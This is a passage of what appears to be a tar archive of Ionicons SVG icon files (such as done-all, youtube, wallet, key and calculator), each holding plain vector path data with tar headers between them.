14s-14-6.3-14-14v-56c0-1.1-.9-2-2-2h-56c-7.7 0-14-6.3-14-14s6.3-14 14-14h56c1.1 0 2-.9 2-2V206c0-1.1-.9-2-2-2h-56c-7.7 0-14-6.3-14-14s6.3-14 14-14h56c1.1 0 2-.9 2-2v-56c0-7.7 6.3-14 14-14s14 6.3 14 14v56c0 1.1.9 2 2 2h100c1.1 0 2-.9 2-2v-56c0-7.7 6.3-14 14-14s14 6.3 14 14v56c0 1.1.9 2 2 2h56c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>ionicons/svg/md-done-all.svg000064400000000466151701353760012014 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M387.581 139.712L356.755 109 216.913 248.319l30.831 30.719 139.837-139.326zM481.172 109L247.744 340.469l-91.39-91.051-30.827 30.715L247.744 403 512 139.712 481.172 109zM0 280.133L123.321 403l30.829-30.713L31.934 249.418 0 280.133z"/></svg>ionicons/svg/ios-cloud-circle.svg000064400000000612151701353760013051 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm82.6 272H173.4c-25.1 0-45.4-21.4-45.4-47.2 0-21 13.2-39.8 33.2-46.2.3-20 16.2-36.1 35.7-36.1 5.3 0 10.4 1.2 14.9 3.4 13.1-20.5 36.9-33.8 62.5-33.8 37.7 0 67.5 29.3 71.4 66.9 21.7 3.5 38.3 22.7 38.3 45.9 0 25.7-20.3 47.1-45.4 47.1z"/></svg>ionicons/svg/md-help-circle.svg000064400000000531151701353760012501 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm21 333h-42v-42h42v42zm-.2-63h-41.6c0-67 62.4-62.2 62.4-103.8 0-22.9-18.7-41.7-41.6-41.7S214.4 192 214.4 214h-41.6c0-46 37.2-83 83.2-83s83.2 37.1 83.2 83.1c0 52-62.4 57.9-62.4 103.9z"/></svg>ionicons/svg/logo-youtube.svg000064400000000665151701353760012356 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M508.6 148.8c0-45-33.1-81.2-74-81.2C379.2 65 322.7 64 265 64h-18c-57.6 0-114.2 1-169.6 3.6C36.6 67.6 3.5 104 3.5 149 1 184.6-.1 220.2 0 255.8c-.1 35.6 1 71.2 3.4 106.9 0 45 33.1 81.5 73.9 81.5 58.2 2.7 117.9 3.9 178.6 3.8 60.8.2 120.3-1 178.6-3.8 40.9 0 74-36.5 74-81.5 2.4-35.7 3.5-71.3 3.4-107 .2-35.6-.9-71.2-3.3-106.9zM207 353.9V157.4l145 98.2-145 98.3z"/></svg>ionicons/svg/md-boat.svg000064400000001605151701353760011242 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M84.255 413h1.063c34.123 0 63.977-19.021 85.305-42.494 21.325 23.473 51.18 42.762 85.304 42.762s63.979-19.334 85.305-42.806C362.559 393.934 392.412 413 426.535 413h1.062l51.253-138.78c2.126-5.329 1.063-11.641-1.07-16.976-2.136-5.333-7.237-8.487-12.567-10.623L427 234.133v-98.15C427 112.51 407.344 93 383.884 93h-63.979l-15.993-53h-95.969l-15.995 53h-63.979C104.511 93 85 112.51 85 135.982v98.15l-38.074 12.533c-5.33 2.136-10.582 5.334-12.718 10.667-2.135 5.335-3.158 10.49-1.031 16.887L84.255 413zM128 136h256v84.261l-128-41.605-128 41.605V136z"/><path d="M341.231 408.007c-52.253 36.267-118.356 36.258-170.608-.009 0 0-57.638 64.002-106.632 64.002h21.327c29.854 0 58.646-11.726 85.305-25.594 53.315 27.734 117.293 27.728 170.608-.007C367.89 460.268 396.681 472 426.535 472h21.328c-47.651 0-106.632-63.993-106.632-63.993z"/></svg>ionicons/svg/md-wallet.svg000064400000000774151701353760011613 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M202.7 341.3V170.7c0-23.5 19-42.7 42.7-42.7h197v-21.3c0-23.5-18.9-42.7-42.3-42.7H92c-23.7 0-44 18.5-44 42v300c0 23.5 20.3 42 44 42h308c23.5 0 42.3-19.2 42.3-42.7V384h-197c-23.6 0-42.6-19.2-42.6-42.7z"/><path d="M245 186v140c0 8.8 7.2 16 16 16h187c8.8 0 16-7.2 16-16V186c0-8.8-7.2-16-16-16H261c-8.8 0-16 7.2-16 16zm77.1 101.9c-19.3 1.2-35.2-14.7-34-34 1-15.9 13.9-28.8 29.9-29.9 19.3-1.2 35.2 14.7 34 34-1.1 16-14 28.9-29.9 29.9z"/></svg>ionicons/svg/md-clipboard.svg000064400000000733151701353760012255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.333 80h-87.35C310.879 52.396 285.821 32 256 32s-54.879 20.396-61.983 48h-87.35C83.198 80 64 99.198 64 122.667v314.665C64 460.801 83.198 480 106.667 480h298.666C428.802 480 448 460.801 448 437.332V122.667C448 99.198 428.802 80 405.333 80zM256 80c11.729 0 21.333 9.599 21.333 21.333s-9.604 21.334-21.333 21.334-21.333-9.6-21.333-21.334S244.271 80 256 80zm152 360H104V120h40v72h224v-72h40v320z"/></svg>ionicons/svg/md-bluetooth.svg000064400000000425151701353760012321 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M399 159.9L270.5 32H248v170L144.7 99.2 113 130.8 238.8 256 113 381.2l31.7 31.6L248 310v170h22.5L399 352.1 302.2 256l96.8-96.1zm-106-42.1l42.3 42.1L293 202v-84.2zm42.3 234.3L293 394.2V310l42.3 42.1z"/></svg>ionicons/svg/md-print.svg000064400000000376151701353760011455 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M399.95 160h-287.9C76.824 160 48 188.803 48 224v138.667h79.899V448H384.1v-85.333H464V224c0-35.197-28.825-64-64.05-64zM352 416H160V288h192v128zm32.101-352H127.899v80H384.1V64z"/></svg>ionicons/svg/ios-code-download.svg000064400000002004151701353760013220 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M332 142.7c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7L310 155.9c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l95.8 91.5-95.8 91.5c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l13.8 13.2c1.2 1.1 2.6 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l114.2-109c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L332 142.7zM106.3 256l95.8-91.5c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3l-13.8-13.2c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7l-114.2 109c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l114.2 109c1.2 1.1 2.7 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l13.8-13.2c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L106.3 256z"/><path d="M332.8 267.2c.1-3.9-1.4-7.6-4.2-10.4l-.1-.1c-2.7-2.7-6.2-4.2-10-4.2-3.5 0-6.8 1.3-9.4 3.6l-38.9 34.6V184.6c0-7.8-6.4-14.2-14.2-14.2-7.8 0-14.2 6.4-14.2 14.2v106.2l-38.9-34.6c-2.6-2.3-6-3.6-9.4-3.6-3.8 0-7.4 1.5-10.1 4.2l-.1.1c-2.8 2.8-4.2 6.4-4.2 10.4.1 3.9 1.7 7.5 4.6 10.2l62.8 57.7c2.6 2.4 6 3.7 9.5 3.7s6.9-1.3 9.5-3.7l62.8-57.7c2.8-2.8 4.5-6.4 4.5-10.3z"/></svg>ionicons/svg/md-remove-circle.svg000064400000000305151701353760013045 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.125 48 48 141.125 48 256s93.125 208 208 208 208-93.125 208-208S370.875 48 256 48zm107 229H149v-42h214v42z"/></svg>ionicons/svg/md-mic-off.svg000064400000001446151701353760011640 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M367.951 354.654l-26.616-26.562-9.568-9.548-4.698-4.706L187 174.041v.346L76.112 63.531 51.921 87.572 187 222.47v28.816c0 37.79 31.121 68.714 68.91 68.714a68.6 68.6 0 0 0 24.565-4.545l32.389 32.274c-17.333 8.793-36.812 13.86-56.782 13.86-62.986 0-121.365-48.59-121.365-116.59H95.773C95.773 322 158 387.701 233 398.013V480h46v-81.987c22-3.352 43.066-11.222 61.627-22.622l95.278 95.078 24.033-24-33.847-33.785-58.216-57.959 58.224 57.959-58.148-58.03zM325 251.286V100.714C325 62.924 293.791 32 256 32s-69 30.924-69 68.714v25.244l137.109 136.968c.67-3.791.891-7.679.891-11.64zM416.439 245h-38.941c0 20.496-5.498 39.676-14.931 56.197l27.572 27.516c16.523-24.11 26.3-52.787 26.3-83.713zM459.999 446.427l-33.897-33.743 33.855 33.785z"/></svg>ionicons/svg/md-arrow-down.svg000064400000000262151701353760012412 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.375 85v259.704l119.702-119.702L427 256 256 427 85 256l29.924-29.922 119.701 118.626V85h42.75z"/></svg>ionicons/svg/ios-trash.svg000064400000000617151701353760011632 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M133.1 128l23.6 290.7c0 16.2 13.1 29.3 29.3 29.3h141c16.2 0 29.3-13.1 29.3-29.3L379.6 128H133.1zm61.6 265L188 160h18.5l6.9 233h-18.7zm70.3 0h-18V160h18v233zm52.3 0h-18.6l6.8-233H324l-6.7 233zM364 92h-36l-26.3-23c-3.7-3.2-8.4-5-13.2-5h-64.8c-4.9 0-9.7 1.8-13.4 5L184 92h-36c-17.6 0-30 8.4-30 26h276c0-17.6-12.4-26-30-26z"/></svg>ionicons/svg/ios-american-football.svg000064400000003013151701353760014061 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M378.6 133.4C338.1 92.9 283.9 71 231.4 59.6L59.6 231.4C71 284 92.9 338.1 133.4 378.6c40.5 40.5 94.7 62.4 147.2 73.8l171.8-171.8c-11.4-52.5-33.3-106.7-73.8-147.2zM344.1 288l-19.2 19.2 14.8 14.8c4.9 4.9 4.9 12.7 0 17.6-4.9 4.9-12.7 4.9-17.6 0l-14.8-14.8-19.3 19.4c-2 2-4.5 3.4-7.3 3.9-4.2.7-8.4-.7-11.3-3.6-1.5-1.5-2.6-3.3-3.2-5.3-1.4-4.9-.1-9.7 3.2-13.1l19.5-19.5-15.6-15.6-19.3 19.3c-2.1 2.1-4.7 3.5-7.6 3.9-5.5.7-10.7-1.9-13.4-7-.3-.6-.6-1.2-.8-1.9-1.5-4.9-.2-9.8 3.2-13.2l19.5-19.5-15.5-15.6-19.3 19.3c-2.1 2.1-4.7 3.5-7.6 3.9-5.5.7-10.7-1.9-13.4-7-.3-.6-.6-1.2-.8-1.9-1.5-4.9-.2-9.8 3.2-13.2l19.5-19.5-15.5-15.6-19.3 19.3c-2.1 2.1-4.7 3.5-7.6 3.9-5.5.7-10.7-1.9-13.4-7-.3-.6-.6-1.2-.8-1.9-1.5-4.9-.2-9.8 3.2-13.2l19.5-19.5-14.8-14.8c-4.9-4.9-4.9-12.7 0-17.6 4.9-4.9 12.7-4.9 17.6 0l14.8 14.8 19.3-19.3c2.1-2.1 4.7-3.5 7.6-3.9 5.5-.7 10.7 1.9 13.4 7 .3.6.6 1.2.8 1.9 1.5 4.9.2 9.8-3.2 13.2l-19.5 19.5 15.6 15.6 19.3-19.3c2-2 4.5-3.4 7.3-3.9 4.2-.7 8.4.7 11.3 3.6 1.5 1.4 2.6 3.2 3.2 5.2 1.5 4.9.2 9.8-3.2 13.2L257 239.4l15.6 15.6 19.3-19.3c2.1-2.1 4.7-3.5 7.6-3.9 5.5-.7 10.7 1.9 13.4 7 .3.6.6 1.2.8 1.9 1.5 4.9.2 9.8-3.2 13.2L291 273.4l15.6 15.6 19.3-19.3c2.2-2.2 5-3.6 8-4 4.4-.5 8.6 1.2 11.4 4.6 4.1 5 3.5 13.1-1.2 17.7zM395.1 464c27.6 0 48.8-1.8 58.8-2.9 3.7-.4 6.7-3.4 7.1-7.1 2-18.9 6.8-77.6-3.2-143.7L310.3 457.9c31 4.7 60.4 6.1 84.8 6.1zM116.8 48C89.3 48 68 49.8 58 50.9c-3.7.4-6.7 3.4-7.1 7.1-2 18.9-6.8 77.6 3.2 143.6L201.6 54.1c-31-4.7-60.4-6.1-84.8-6.1z"/></svg>ionicons/svg/logo-ionitron.svg000064400000003437151701353760012523 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M468.4 269.2c-2.7-34.2-12.2-59.2-32.9-57.3 6.4 14.6 12.2 48.1 8.7 72-1.4-25.9-6.3-50.2-17.2-72-32.1-64.6-100.6-107.4-177.5-103.1-85.9 4.8-155 66.7-172 146.8l-11.4 1.6c-17.2 2.4-26.9 34.9-21.7 72.5 5.3 37.7 23.5 66.2 40.7 63.8l15.8-2.2c34.7 56.3 98.5 92.3 169.3 88.4 85.3-4.7 154-65.9 171.7-145.2l7.4-.4c15.2-2.5 21.8-31.2 19.1-64.9zM90.3 264c10.7 8.2 25.4 28.3 29.1 55.1 3.9 27.7-4.8 54.1-13.4 64.3 6-14.8 8.1-37.3 4.7-61.9-3.3-24-11-44.7-20.4-57.5zm183.8 116.2c-8.5.5-15.8-6-16.3-14.5s6-15.7 14.6-16.2c8.5-.5 15.8 6 16.3 14.5s-6.1 15.7-14.6 16.2zm81-4.7c-8.5.5-15.8-6-16.3-14.5s6-15.7 14.6-16.2c8.5-.5 15.8 6 16.3 14.5.4 8.5-6.1 15.8-14.6 16.2zM165.5 70s0 .1 0 0c.1.1.1.2.1.2.1.2.2.3.3.5v.1c.4 1 1.1 1.9 2.3 2.7 2 1.5 5 2.4 8.6 3 3.4.5 7.5.7 11.9.5 1 0 1.9-.1 2.9-.2-.4-.4-.8-.9-1.2-1.3h-1.3c-4.3.1-8.2-.2-11.6-.9-3.5-.7-6.4-1.8-8.4-3.4-.6-.5-1-.9-1.4-1.4-.2-.7-.2-1.5 0-2.3.5-2.3 2.4-4.8 5.5-7.4 2.7-2.3 6.4-4.7 10.9-7 .9-.4 1.7-.9 2.6-1.3.1-.1.3-.1.5-.2-.8 3.3-.9 6.9-.2 10.5 2.3 11.9 11.6 20.3 23.2 20.6l4 24.3 12.7-2-4-24.3c10.8-4.6 16.3-16.1 14-28-.7-3.5-2-6.7-3.9-9.5-5.3-.8-15.6-.8-29.2 2.1 1.1-.3 2.1-.7 3.2-1 7.6-2.1 14.9-3.5 21.5-4.2.6-.1 1.2-.1 1.8-.2 1.2-.1 2.4-.2 3.5-.3h.6c4.1-.2 7.7-.1 10.8.3 2.4.3 4.4.8 6.1 1.4-.6.9-.9 2-.9 3.2 0 2.7 1.8 5 4.3 5.8-.6.9-1.3 1.9-2.1 2.8-.8.9-1.8 1.9-2.9 2.8-1.1.9-2.3 1.8-3.5 2.7l-6.5 3.8-.3 1.5c.1 0 .2-.1.2-.1l8.4-4.7c1.2-.8 2.4-1.6 3.4-2.4 1.2-.9 2.2-1.8 3.2-2.8.9-.9 1.7-1.9 2.4-2.8l.3-.6c3-.4 5.4-2.9 5.4-6 0-3.4-2.7-6.1-6.1-6.1-1 0-1.9.3-2.8.7-2-1.2-4.8-2.1-8.2-2.7-4.3-.8-9.6-1-15.5-.6-.7 0-1.4.1-2.1.2-.7.1-1.3.2-2 .2-5.3-3.5-11.9-5-18.7-3.7-7.9 1.5-14.2 6.5-17.8 13-1.3.5-2.6 1.1-3.8 1.7-.7.3-1.3.6-2 .9-5.9 2.9-10.6 6.1-13.9 9.1-3.1 2.9-4.9 5.7-5.3 8.3-.2 1.4 0 2.8.7 4 .1.1.2.3.3.5z"/></svg>ionicons/svg/ios-headset.svg000064400000002043151701353760012121 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 123.8c-24.3 0-46.9 10.1-63.9 28.4-17 18.3-26.1 33.2-26.1 59.6 0 7.7 5.9 14 13.2 14 7.3 0 13.2-6.3 13.2-14 0-17.3 6.6-32.4 19-43.5 11.8-10.6 27.7-16.5 44.7-16.5s32.9 5.8 44.7 16.5c12.4 11.2 19 26.2 19 43.5 0 7.7 5.9 14 13.2 14 7.3 0 13.2-6.3 13.2-14 0-26.4-9.2-41.3-26.1-59.6-17.2-18.4-39.8-28.4-64.1-28.4z"/><path d="M457.1 278.9C442.3 264.1 422.8 256 402 256h-8c-2.2 0-4-1.8-4-4v-37.8c0-35.7-14-69.3-39.4-94.7C325.3 94 291.7 80 256 80c-35.7 0-69.3 14-94.6 39.4-25.4 25.4-39.4 59-39.4 94.7V252c0 2.2-1.8 4-4 4h-8c-20.8 0-40.3 8.1-55.1 22.9C40.1 293.7 32 313.2 32 334v11.8c0 20.8 8.1 40.4 22.9 55.2 14.8 14.8 34.4 23 55.1 23h5.6c4 0 8 1.4 10.9 4.1 2.5 2.3 5.9 3.8 9.5 3.8 7.7 0 14-6.3 14-14.1V214.1c0-28.2 11.1-54.8 31.2-74.9 20.1-20.1 46.7-31.2 74.8-31.2 28.2 0 54.8 11.1 74.8 31.2 20.1 20.1 31.2 46.7 31.2 74.9v203.8c0 7.8 6.3 14.1 14 14.1 3.6 0 7-1.5 9.5-3.8 2.9-2.7 6.9-4.1 10.9-4.1h5.6c20.7 0 40.3-8.2 55.1-23 14.8-14.8 22.9-34.4 22.9-55.2V334c0-20.8-8.1-40.3-22.9-55.1z"/></svg>ionicons/svg/ios-partly-sunny.svg000064400000002516151701353760013176 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168.2 64h-.3c-8.7 0-15.8 7.1-15.8 15.8v30.3c0 8.7 7.1 15.8 15.8 15.8h.3c8.7 0 15.8-7.1 15.8-15.8V79.8c0-8.7-7.1-15.8-15.8-15.8zM79 216.2v-.3c0-8.7-7.1-15.8-15.8-15.8H31.8c-8.7 0-15.8 7.1-15.8 15.8v.3c0 8.7 7.1 15.8 15.8 15.8h31.3c8.8 0 15.9-7.1 15.9-15.8zM79.7 149c3 3 7 4.7 11.2 4.7 4.2 0 8.2-1.7 11.2-4.7 6.1-6.2 6.1-16.2 0-22.3l-20.3-20.5c-3-3-7-4.7-11.2-4.7-4.2 0-8.2 1.7-11.2 4.7-6.1 6.2-6.1 16.2 0 22.3L79.7 149zM271 105.2c-3-3-7-4.7-11.2-4.7-4.2 0-8.2 1.7-11.2 4.7l-20.3 20.4c-6.1 6.2-6.1 16.2 0 22.3l.3.3h.1c2.9 2.8 6.8 4.3 10.8 4.3 4.2 0 8.2-1.7 11.2-4.7l20.3-20.4c6.1-6 6.1-16 0-22.2zM92.9 273.3c-4.2 0-8.2 1.7-11.2 4.7l-20.3 20.5c-6.1 6.2-6.1 16.2 0 22.3 3 3 7 4.7 11.2 4.7 4.2 0 8.2-1.7 11.2-4.7l20.3-20.5c6.1-6.2 6.1-16.2 0-22.3-3-3-7-4.7-11.2-4.7zM403.3 259.2h-2.4c-3.1 0-6.1 0-9 .4-11.3-50.3-56.1-88.2-109.7-88.2-14.6 0-28.6 2.8-41.4 7.9-5.1 2-10 4.4-14.7 7.1-32 18.5-54.1 52.4-56.2 91.6-.1 2.1-.2 4.1-.2 6.2 0 3.4.2 6.8.5 10.1 0 .4.1.8.1 1.1-37.9 3.4-67.6 37.1-67.6 76 0 41.1 33.3 76.7 74.3 76.7h226.4c51.2 0 92.7-43.4 92.7-94.8-.1-51.4-41.6-94.1-92.8-94.1z"/><path d="M150.7 283.6v-.3c-.3-3.4-.5-6.8-.5-10.2 0-2.1.1-4.2.2-6.3 2.2-39.9 24.6-74.3 57.2-93.1 4.8-2.8 9.8-5.2 14.9-7.2h.1c-13.4-17-34.2-28-57.6-28-40.5 0-73.3 32.8-73.3 73.3 0 35.5 25.3 65.1 59 71.8z"/></svg>ionicons/svg/ios-add-circle-outline.svg000064400000001014151701353760014145 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M346.5 240H272v-74.5c0-8.8-7.2-16-16-16s-16 7.2-16 16V240h-74.5c-8.8 0-16 6-16 16s7.5 16 16 16H240v74.5c0 9.5 7 16 16 16s16-7.2 16-16V272h74.5c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>ionicons/svg/md-cafe.svg000064400000000331151701353760011206 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 400h368v48H48zM424 64H80v224c0 44 36 80 80 80h144c44 0 80-36 80-80v-64h40c22 0 40-18 40-40v-80c0-22-18-40-40-40zm0 112h-40v-64h40v64z"/></svg>ionicons/svg/ios-map.svg000064400000001123151701353760011257 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 72.5v316.3c0 2.8 1.3 5.5 3.5 7l69.8 50.2c5.2 3.7 12.1-.3 12.1-7V122.7c0-2.8-1.3-5.5-3.5-7L76.1 65.4c-5.2-3.7-12.1.3-12.1 7.1zM168.7 123.3v316.3c0 6.7 6.9 10.8 12.1 7l62-36.7c2.2-1.6 3.5-4.2 3.5-7V86.6c0-6.7-6.9-10.8-12.1-7l-62 36.7c-2.2 1.5-3.5 4.1-3.5 7zM435.9 65.5l-69.8 50.7c-2.2 1.6-3.5 4.2-3.5 7v316.2c0 6.8 6.9 10.8 12.1 7l69.8-50.7c2.2-1.6 3.5-4.2 3.5-7V72.5c0-6.7-6.9-10.7-12.1-7zM265.7 85.6v316.2c0 2.8 1.3 5.5 3.5 7l62 37c5.2 3.8 12.1-.3 12.1-7V122.6c0-2.8-1.3-5.5-3.5-7l-62-37c-5.2-3.7-12.1.3-12.1 7z"/></svg>ionicons/svg/md-calculator.svg000064400000000571151701353760012447 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368 48H144c-26.6 0-48 21.6-48 48v320c0 26.4 21.4 48 48 48h224c26.4 0 48-21.6 48-48V96c0-26.4-21.4-48-48-48zM200 416h-48v-48h48v48zm0-88h-48v-48h48v48zm0-88h-48v-48h48v48zm80 176h-48v-48h48v48zm0-88h-48v-48h48v48zm0-88h-48v-48h48v48zm80 176h-48V280h48v136zm0-176h-48v-48h48v48zm0-96H152V96h208v48z"/></svg>ionicons/svg/md-reorder.svg000064400000000240151701353760011751 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 348h320v36H96zM96 128h320v36H96zM96 200.7h320v35.6H96zM96 275.8h320v35.6H96z"/></svg>ionicons/svg/ios-flash.svg000064400000000363151701353760011604 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376.2 224H268l52.4-186.9c.9-4.5-4.6-7.1-7.2-3.4L129.5 274.6c-3.8 5.6-.2 13.4 6.3 13.4H244l-52.4 186.9c-.9 4.5 4.6 7.1 7.2 3.4l183.7-240.8c3.7-5.7.2-13.5-6.3-13.5z"/></svg>ionicons/svg/md-arrow-dropup.svg000064400000000151151701353760012751 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 320l128-128 128 128z"/></svg>ionicons/svg/logo-bitcoin.svg000064400000001672151701353760012310 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M410.5 279.2c-5-11.5-12.7-21.6-28.1-30.1-8.2-4.5-16.1-7.8-25.4-10 5.4-2.5 10-5.4 16.3-11 7.5-6.6 13.1-15.7 15.6-23.3 2.6-7.5 4.1-18 3.5-28.2-1.1-16.8-4.4-33.1-13.2-44.8-8.8-11.7-21.2-20.7-37.6-27-12.6-4.8-25.5-7.8-45.5-8.9V32h-40v64h-32V32h-41v64H96v48h27.9c8.7 0 14.6.8 17.6 2.3 3.1 1.5 5.3 3.5 6.5 6 1.3 2.5 1.9 8.4 1.9 17.5V343c0 9-.6 14.8-1.9 17.4-1.3 2.6-2 4.9-5.1 6.3-3.1 1.4-3.2 1.3-11.8 1.3h-26.4L96 416h87v64h41v-64h32v64h40v-64.4c26-1.3 44.5-4.7 59.4-10.3 19.3-7.2 34.1-17.7 44.7-31.5 10.6-13.8 14.9-34.9 15.8-51.2.7-14.5-.9-33.2-5.4-43.4zM224 150h32v74h-32v-74zm0 212v-90h32v90h-32zm72-208.1c6 2.5 9.9 7.5 13.8 12.7 4.3 5.7 6.5 13.3 6.5 21.4 0 7.8-2.9 14.5-7.5 20.5-3.8 4.9-6.8 8.3-12.8 11.1v-65.7zm28.8 186.7c-7.8 6.9-12.3 10.1-22.1 13.8-2 .8-4.7 1.4-6.7 1.9v-82.8c5 .8 7.6 1.8 11.3 3.4 7.8 3.3 15.2 6.9 19.8 13.2 4.6 6.3 8 15.6 8 24.7 0 10.9-2.8 19.2-10.3 25.8z"/></svg>ionicons/svg/ios-more.svg000064400000000417151701353760011451 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.8 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17-38-38-38zM102 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17-38-38-38zM410 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17-38-38-38z"/></svg>ionicons/svg/ios-trending-up.svg000064400000000741151701353760012743 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464.9 128H344.1c-8.3 0-15.1 6.6-15.1 14.8s6.8 14.8 15.1 14.8h83.7l-138 142.2-85.9-84.1c-2.9-2.8-6.6-4.3-10.7-4.3-4 0-7.8 1.5-10.7 4.3L36.2 358.8c-1.9 1.9-4.2 5.2-4.2 10.7 0 4.1 1.4 7.5 4.2 10.2 2.9 2.8 6.6 4.3 10.7 4.3 4 0 7.8-1.5 10.7-4.3L193.2 247l85.9 84.1c2.9 2.8 6.6 4.3 10.7 4.3 4 0 7.8-1.5 10.7-4.3l149.4-151.9v81.7c0 8.1 6.8 14.8 15.1 14.8s15.1-6.6 15.1-14.8V142.8c-.1-8.2-6.9-14.8-15.2-14.8z"/></svg>ionicons/svg/md-key.svg000064400000000471151701353760011105 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M249.2 224c-14.2-40.2-55.1-72-100.2-72-57.2 0-101 46.8-101 104s45.8 104 103 104c45.1 0 84.1-31.8 98.2-72H352v64h69.1v-64H464v-64H249.2zm-97.6 66.5c-19 0-34.5-15.5-34.5-34.5s15.5-34.5 34.5-34.5 34.5 15.5 34.5 34.5-15.5 34.5-34.5 34.5z"/></svg>ionicons/svg/md-heart-dislike.svg000064400000000615151701353760013042 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M51.9 76.6l25 25c-18.1 20.3-29 47.3-29 77.6 0 79.5 70.7 143.3 177.8 241.7L256 448l30.2-27.2c20.6-18.9 39.9-36.6 57.5-53.3l92.2 92 24-24-383.8-383-24.2 24.1zM464 179.1C464 114.2 414.1 64 349.6 64c-36.4 0-70.7 16.7-93.6 43.9C233.1 80.7 198.8 64 162.4 64c-8.4 0-16.5.9-24.3 2.5l253.7 253.1C437.3 270.9 464 228 464 179.1z"/></svg>ionicons/svg/ios-unlock.svg000064400000000776151701353760012012 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 192H188v-48c0-18.1 7.1-35.1 20-48s29.9-20 48-20 35.1 7.1 48 20 20 29.9 20 48c0 7.7 6.3 14 14 14s14-6.3 14-14c0-53.2-43.9-96.7-97.3-96-52.7.7-94.7 44.5-94.7 97.3V192h-24c-22 0-40 18-40 40v192c0 22 18 40 40 40h240c22 0 40-18 40-40V232c0-22-18-40-40-40zM270 316.8v68.8c0 7.5-5.8 14-13.3 14.4-8 .4-14.7-6-14.7-14v-69.2c-11.5-5.6-19.1-17.8-17.9-31.7 1.4-15.5 14.1-27.9 29.6-29 18.7-1.3 34.3 13.5 34.3 31.9 0 12.7-7.3 23.6-18 28.8z"/></svg>ionicons/svg/md-alarm.svg000064400000001144151701353760011407 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M470 124.837l-98.443-81.78-27.814 32.931 98.442 81.769L470 124.837zM167.192 74.919L139.366 42 42 124.837l27.814 32.919 97.378-82.837zm99.509 97.709H234.6v127.446l101.649 60.539L352.3 334.06l-85.6-49.917V172.628zM256 87.665c-107 0-192.601 86.021-192.601 191.166C63.399 383.98 149 470 256 470c105.936 0 192.601-86.02 192.601-191.169 0-105.144-86.665-191.166-192.601-191.166zm0 339.855c-82.393 0-149.8-66.906-149.8-148.688 0-81.777 67.407-148.684 149.8-148.684 82.394 0 149.8 66.906 149.8 148.684 0 82.839-67.406 148.688-149.8 